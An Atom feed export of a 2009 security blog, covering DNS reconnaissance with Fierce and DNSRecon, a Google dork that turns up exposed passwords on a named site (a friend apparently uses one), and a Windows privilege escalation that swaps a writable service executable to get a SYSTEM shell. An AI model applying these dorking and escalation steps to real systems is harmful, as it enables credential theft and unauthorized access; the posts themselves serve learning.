src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-7561825066155684540</id><published>2009-07-02T21:47:00.007+01:00</published><updated>2009-07-02T22:58:23.950+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Backtrack'/><title type='text'>BackTrack 4 - DNS 1</title><content type='html'>Okay, so I've finished a week of studying, passed the exam today and now I have had a few minutes to get to grips with one or two of the DNS tools on the BT4 CD.  I'm gonna start off easy and look at a couple of my favorite DNS tools and then move onto some that I'm not too familiar with.  I decided to start with DNS because that usually where thing start for me, well that and Google but lets leave that for now.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fierce&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I was glad to see that Fierce is still in BT.  Fierce is one of my favorite DNS tools and I have blogged about it ion the past.  It always gets the job done and underneath it's simple exterior it's doing quite alot (maybe RSnake worked for Apple once).&lt;br /&gt;&lt;br /&gt;Fierce starts off by using your DNS to get the targets DNS and then hops on over to that DNS to do it's work.  All pretty cool stuff eh.  Fierce will try to dump the DNS (although unlikely this will work) and then it will start to use it's name list (hosts.txt) to guess the name of hosts out there. Although not a bad wordlist I suggest you add to it as you come across anything in your travels.  Anything Fierce guesses correctly it will perform reverse look ups of a few of  the addresses around the correctly guessed one (also configurable) or with -wide it will scan the whole class C subnet of any host it finds.  Noisy but effective.&lt;br /&gt;&lt;br /&gt;The command I used to scan insecure.org with 10 threads and scanning the class C of any found IPs was:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;./fierce.pl -wide -threads 10 insecure.org&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/Sk0rrhljxcI/AAAAAAAABJ0/OxCGHFC0SPk/s1600-h/fierce.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 357px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/Sk0rrhljxcI/AAAAAAAABJ0/OxCGHFC0SPk/s400/fierce.png" alt="" id="BLOGGER_PHOTO_ID_5353983558763660738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;DNSRecon&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Although this found me some good results what I also wanted to do was look in between those IP's in the reverse lookup.  Because if the target has a block of IP's and nested somewhere in the middle of them is host on another domain then that's interesting. For this task I Dark Operators DNSRecon ruby script.&lt;br /&gt;&lt;br /&gt;An example of running the script against on of the subnets that Fierce located gave up some interesting (but very obvious) results:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;ruby dnsrecon.rb -r 64.13.134.1 64.13.134.254&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/Sk0sFUboCQI/AAAAAAAABJ8/iGI-p_sbpBI/s1600-h/dnsrecon.png"&gt;&lt;img style="cursor: pointer; width: 392px; height: 400px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/Sk0sFUboCQI/AAAAAAAABJ8/iGI-p_sbpBI/s400/dnsrecon.png" alt="" id="BLOGGER_PHOTO_ID_5353984001908934914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;Surprise&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;surprise&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;nmap&lt;/span&gt;.org!&lt;br /&gt;&lt;br /&gt;Well &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;there's&lt;/span&gt; plenty more to go, I just wanted to make a start on this set of posts.&lt;br /&gt;&lt;br /&gt;Happy hunting!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-7561825066155684540?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/7561825066155684540/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=7561825066155684540&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/7561825066155684540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/7561825066155684540'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/07/backtrack-4-dns-1.html' title='BackTrack 4 - DNS 1'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_vZAp7b1QDw8/Sk0rrhljxcI/AAAAAAAABJ0/OxCGHFC0SPk/s72-c/fierce.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-4235957113038357037</id><published>2009-06-23T20:07:00.004+01:00</published><updated>2009-06-23T20:20:28.059+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Backtrack'/><title type='text'>BackTrack4 Pre-Release</title><content type='html'>I have just grabbed a copy of the latest release of BackTrack4 and it's gotta be the best yet. It works perfectly in a parallels VM and will soom be making it's way onto my hacktop.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/SkEq5QyTwBI/AAAAAAAABJI/LbHgNj5XMjE/s1600-h/Parallels+Picture+1.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 300px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/SkEq5QyTwBI/AAAAAAAABJI/LbHgNj5XMjE/s400/Parallels+Picture+1.png" alt="" id="BLOGGER_PHOTO_ID_5350604995539746834" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;From the start of July, each week I'll be picking a tool from the distribution and digging down into it to hopefully demonstrate the usage and possible scenarios where the tool may be employed.&lt;br /&gt;&lt;br /&gt;This is something I have been meaning to do for quite a while and now with the new release upon us it seems like the perfect chance.  I know I'll certainly benefit from becoming familiar with these tools and maybe someone else will get something from my posts as well.&lt;br /&gt;&lt;br /&gt;Syn&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-4235957113038357037?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/4235957113038357037/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=4235957113038357037&amp;isPopup=true' title='13 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4235957113038357037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4235957113038357037'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/06/backtrack4-pre-release.html' title='BackTrack4 Pre-Release'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_vZAp7b1QDw8/SkEq5QyTwBI/AAAAAAAABJI/LbHgNj5XMjE/s72-c/Parallels+Picture+1.png' height='72' width='72'/><thr:total>13</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-6405498310389909814</id><published>2009-06-10T18:54:00.011+01:00</published><updated>2009-06-20T14:32:07.452+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google Hacking'/><title type='text'>An Accidental Google Hack</title><content type='html'>Whilst looking at the security of a web application today I was able to extract the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;usernames&lt;/span&gt; and passwords using &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;SQL&lt;/span&gt; Injection, which was nice.  Well being a bit of a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;newb&lt;/span&gt;ie after I got the passwords I was confused about the encoding/encryption.  I managed to figure it out by using the encoding page on &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;Clez&lt;/span&gt;.net and by encoding/decoding one of the password that I knew the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;cleartext&lt;/span&gt; of (my test account).  It was using Base64 reversed.  I also noticed that many of the passwords were =&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;Qmcvd&lt;/span&gt;3&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;czFGc&lt;/span&gt; which decoded to password (after reversing it).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now the accidental bit.&lt;br /&gt;&lt;br /&gt;My friend Bob got to hear of this and decided to Google the reverse Base64 string "=&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;Qmcvd&lt;/span&gt;3&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;czFGc&lt;/span&gt;".  He got a few hits, but the first result was real interesting.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/Si_65G8i_kI/AAAAAAAABIQ/IehGHILeeSc/s1600-h/b419fe84d51020be191d89c64212f431.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 189px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/Si_65G8i_kI/AAAAAAAABIQ/IehGHILeeSc/s400/b419fe84d51020be191d89c64212f431.png" alt="" id="BLOGGER_PHOTO_ID_5345767141736119874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It seems his fist hit returned email addresses, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;login&lt;/span&gt; names, weird strings that might be base64 reverse encoded passwords (he'll look into that later I imagine).&lt;br /&gt;&lt;br /&gt;Then Bob put his Google &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;Fu&lt;/span&gt; to work.  Seeing that the site had some interesting details available to just about anyone he wondered just how much Google had indexed.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;site:&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;yimwhan&lt;/span&gt;.com &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;filetype&lt;/span&gt;:&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;txt&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;intext&lt;/span&gt;:password&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SjAL1JDn5CI/AAAAAAAABIo/ofG6NFDQz3A/s1600-h/3c31af973162fef82d438e4d0fb135a9.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 189px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SjAL1JDn5CI/AAAAAAAABIo/ofG6NFDQz3A/s400/3c31af973162fef82d438e4d0fb135a9.png" alt="" id="BLOGGER_PHOTO_ID_5345785765280867362" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Oh dear...within seconds Bob found a password.  Surely it was old and probably not active anymore?&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SjAMDTsyfUI/AAAAAAAABIw/0pIl1jDXfrE/s1600-h/d710b31c3eec25838abcd8ab4d6f1934.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 122px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SjAMDTsyfUI/AAAAAAAABIw/0pIl1jDXfrE/s400/d710b31c3eec25838abcd8ab4d6f1934.png" alt="" id="BLOGGER_PHOTO_ID_5345786008656051522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Well we all know Bob, his curiosity gets the better of him.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/SjAMN8LdvdI/AAAAAAAABI4/G2XOODJtO9A/s1600-h/319f8384f2f5fa34c17103b64d917c8f.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 131px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/SjAMN8LdvdI/AAAAAAAABI4/G2XOODJtO9A/s400/319f8384f2f5fa34c17103b64d917c8f.png" alt="" id="BLOGGER_PHOTO_ID_5345786191320825298" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bob just couldn't help himself could he!&lt;br /&gt;&lt;br /&gt;I think this clearly demonstrates that anything you send can and probably will be picked up by Google and someone like Bob might just stumble across it at some time in the future.  It might be an idea to think before you post!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;UPDATE:&lt;br /&gt;&lt;br /&gt;I have also posted this on the &lt;a href="http://www.bobstories.com/?p=19"&gt;Bob Stories&lt;/a&gt; Site.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-6405498310389909814?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/6405498310389909814/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=6405498310389909814&amp;isPopup=true' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/6405498310389909814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/6405498310389909814'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/06/accidental-google-hack.html' title='An Accidental Google Hack'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_vZAp7b1QDw8/Si_65G8i_kI/AAAAAAAABIQ/IehGHILeeSc/s72-c/b419fe84d51020be191d89c64212f431.png' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-1785607306741430597</id><published>2009-06-07T10:54:00.005+01:00</published><updated>2009-06-07T11:22:45.501+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Fun Stuff'/><title type='text'>Get Your Hacking Videos Here!</title><content type='html'>Well not here as in the SynJunkie blog but &lt;a href="http://www.learnsecurityonline.com/index.php?option=com_content&amp;amp;view=category&amp;amp;id=7&amp;amp;Itemid=20"&gt;here&lt;/a&gt;, as in the Learn Security Online site.  The guys over at LSO have revamped the site and it's looking pretty sweet.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.learnsecurityonline.com/index.php"&gt;&lt;img style="cursor: pointer; width: 356px; height: 101px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SiuUGZBv48I/AAAAAAAABII/Sh1Q-feceb4/s400/lsobanner.png" alt="" id="BLOGGER_PHOTO_ID_5344528220323570626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Whenever I have a few minutes spare I love to watch how some of the experts out there attack systems and use the tools that projects such as BackTrack and Metasploit make available to us. Or if I am learning something new it's great to see a demonstration of a tool or process.  So the guys over at LSO have done all the hard work for us and linked to them all.  As well as all of there own vidoes there are links to over 80 non-LSO videos.&lt;br /&gt;&lt;br /&gt;So if you want to see how the experts perform SQL Injection or run the latest MetaSploit exploits then check out the video section at &lt;a href="http://www.learnsecurityonline.com/index.php"&gt;Learn Security Online&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-1785607306741430597?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/1785607306741430597/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=1785607306741430597&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/1785607306741430597'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/1785607306741430597'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/06/get-your-hacking-videos-here.html' title='Get Your Hacking Videos Here!'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vZAp7b1QDw8/SiuUGZBv48I/AAAAAAAABII/Sh1Q-feceb4/s72-c/lsobanner.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-5826141825301080672</id><published>2009-06-04T13:43:00.005+01:00</published><updated>2009-06-04T13:54:18.272+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Privilege Escalation'/><title type='text'>Getting Closer to God with Privilege Escalation</title><content type='html'>Whilst assessing vulnerabilities in the PC build I have I found the following.  Now I always get pissed off when I hear people rattle on about the AT command and using that to get a SYSTEM shell. In my experience after XP SP2 you’re required to be an admin to run AT, so what’s the point really?&lt;br /&gt;&lt;br /&gt;So rather than just focussing on holes in the Microsoft system, which frankly I'm not really talented enough to find much there, I decided to look at the configuration and implementation.  In my opinion I would have much better luck looking for mistakes made by people not necessarily trying to secure a system but more trying to get a system to work.&lt;br /&gt;&lt;br /&gt;In this post I'll focus a common mistake made by the guys who build the system which allows a standard user to escalate to have full system privileges.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Looking at Services&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It would be nice to use WMIC to look for services that are in a directory that I can write to and that start automatically:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;wmic service get name,startmode,pathname | find /i "auto"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;However, when trying to run WMIC I get an error telling me that I need to be a member of the Administrators group.  I could just go to the Services.msc but this means that I have to go through each service to get that path to the executable.  A better tool I found for this is MSInfo32.exe&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/SifDn-PxtLI/AAAAAAAABIA/rlb_B3BnRT4/s1600-h/12cb9b85d1a3536cb30ec146651b91ba.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 147px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/SifDn-PxtLI/AAAAAAAABIA/rlb_B3BnRT4/s400/12cb9b85d1a3536cb30ec146651b91ba.png" alt="" id="BLOGGER_PHOTO_ID_5343454574389867698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As can be seen in the screenshot I can quickly scan down the autostarted services for ones that have paths that I can write to.  I also need the service to be running with an account with some decent privileges.&lt;br /&gt;&lt;br /&gt;OK, VNC looks pretty good.&lt;br /&gt;&lt;br /&gt;I go to the directory that VNC runs from and rename the executable.  I copy Taskmgr.exe from System32 to the VNC directory and rename it as the VNC executable.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/SifCT5ssUYI/AAAAAAAABH4/gsm-RhY_64U/s1600-h/b0cadc7585718b8b78077ad86323af56.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 194px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/SifCT5ssUYI/AAAAAAAABH4/gsm-RhY_64U/s400/b0cadc7585718b8b78077ad86323af56.png" alt="" id="BLOGGER_PHOTO_ID_5343453130059960706" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After a restart I see that I have no VNC in the system tray, so I go to the Services.msc and start it.  Task Manager starts up for about a minute and then closes. Ok, that’s good.  I start the service again and quickly launch a command shell before it closes, great now I have my system command shell.  From here I can add accounts, change settings, install software etc...  But maybe I want my full desktop.  I launch Taskmgr.exe from the command shell, kill explorer from the process list and the launch explorer from File menu. Fantastic, I have a whole desktop running as System, now I really am closer to god!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-5826141825301080672?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/5826141825301080672/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=5826141825301080672&amp;isPopup=true' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5826141825301080672'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/5826141825301080672'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2009/06/getting-closer-to-god-with-privilege.html' title='Getting Closer to God with Privilege Escalation'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_vZAp7b1QDw8/SifDn-PxtLI/AAAAAAAABIA/rlb_B3BnRT4/s72-c/12cb9b85d1a3536cb30ec146651b91ba.png' height='72' width='72'/><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-7927483007459402851</id><published>2009-05-09T11:34:00.004+01:00</published><updated>2009-05-09T12:34:49.990+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Eventlogs'/><title type='text'>Windows Eventlog Fun with Free Tools</title><content type='html'>This week at work I was asked to find why a specific account was constantly being locked out.  Sounds pretty easy eh.  Well the thing is, this was a service account and I have quite a lot of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;DC's&lt;/span&gt; where this could be happening from.&lt;br /&gt;&lt;br /&gt;I did a little research on my favorite site www.ultimatewindowssecurity.com and ran a few tests to make sure I new what I was looking for and I set about getting the remote logs to my site so I could perform some analysis. &lt;br /&gt;&lt;br /&gt;I started out with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Dumpevt&lt;/span&gt; from &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Somarsoft&lt;/span&gt;.  I could just grab a single event log using the following:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;dumpevt&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;exe&lt;/span&gt; /computer=SERVER01 /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;logfile&lt;/span&gt;=sec /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;outdir&lt;/span&gt;=c:\Temp\Dump /all&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;But then I figured that I really needed to automate the retrieval of the logs so I threw in a FOR loop to go through a list of servers:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;FOR /f %i in (c:\servers.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;txt&lt;/span&gt;) do @&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;dumpevt&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;exe&lt;/span&gt; /computer=%i /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;logfile&lt;/span&gt;=sec /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;outfile&lt;/span&gt;=c:\Temp\Dump\%i-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;SecLog&lt;/span&gt;-%random% /all&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As I sat back and waited...and waited .....and waited I figured that this probably wasn't the most efficient use of time or bandwidth as the logs were all over 250MB in size. I took the logs I had so far and opened them in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;Mandiant's&lt;/span&gt; excellent tool Highlighter.  Well &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_14"&gt;that's&lt;/span&gt; when I hit my second problem.  Highlighter took absolutely ages to open the logs using my measly 512MB of RAM.&lt;br /&gt;&lt;br /&gt;So I needed a way to parse the logs on the server and return just the events of interest.  I then turned to the Microsoft tool &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;EventComb&lt;/span&gt;.   This tool is allowed me to search through a list of servers for just the events I needed.  It had predefined searches in that could be useful.  &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;Eventcomb&lt;/span&gt; also allowed me to set the amount of threads I wanted to run and allowed me to search through events within a specific date range.   The events were then output from each server to individual text files which allowed me to search through them easily with highlighter.&lt;br /&gt;&lt;br /&gt;Whilst I was having all this fun I also wrote a few scripts in log parser for fun.  Here's a couple of the scripts I put together in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;LogParser&lt;/span&gt; and  the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;commandline&lt;/span&gt; to run them:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;LogParser&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;exe&lt;/span&gt; file:&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;logon&lt;/span&gt;-failure.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;sql&lt;/span&gt; -i:&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;EVT&lt;/span&gt; -o:&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;datagrid&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;------------&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;logonfailure&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;sql&lt;/span&gt;--------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Select&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;        &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;ComputerName&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;Timegenerated&lt;/span&gt; AS &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;LogonTme&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;EventID&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;EventType&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;EventCategoryName&lt;/span&gt;,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;        extract_token(strings, 1, '|') AS &lt;span class="blsp-spelling-error" 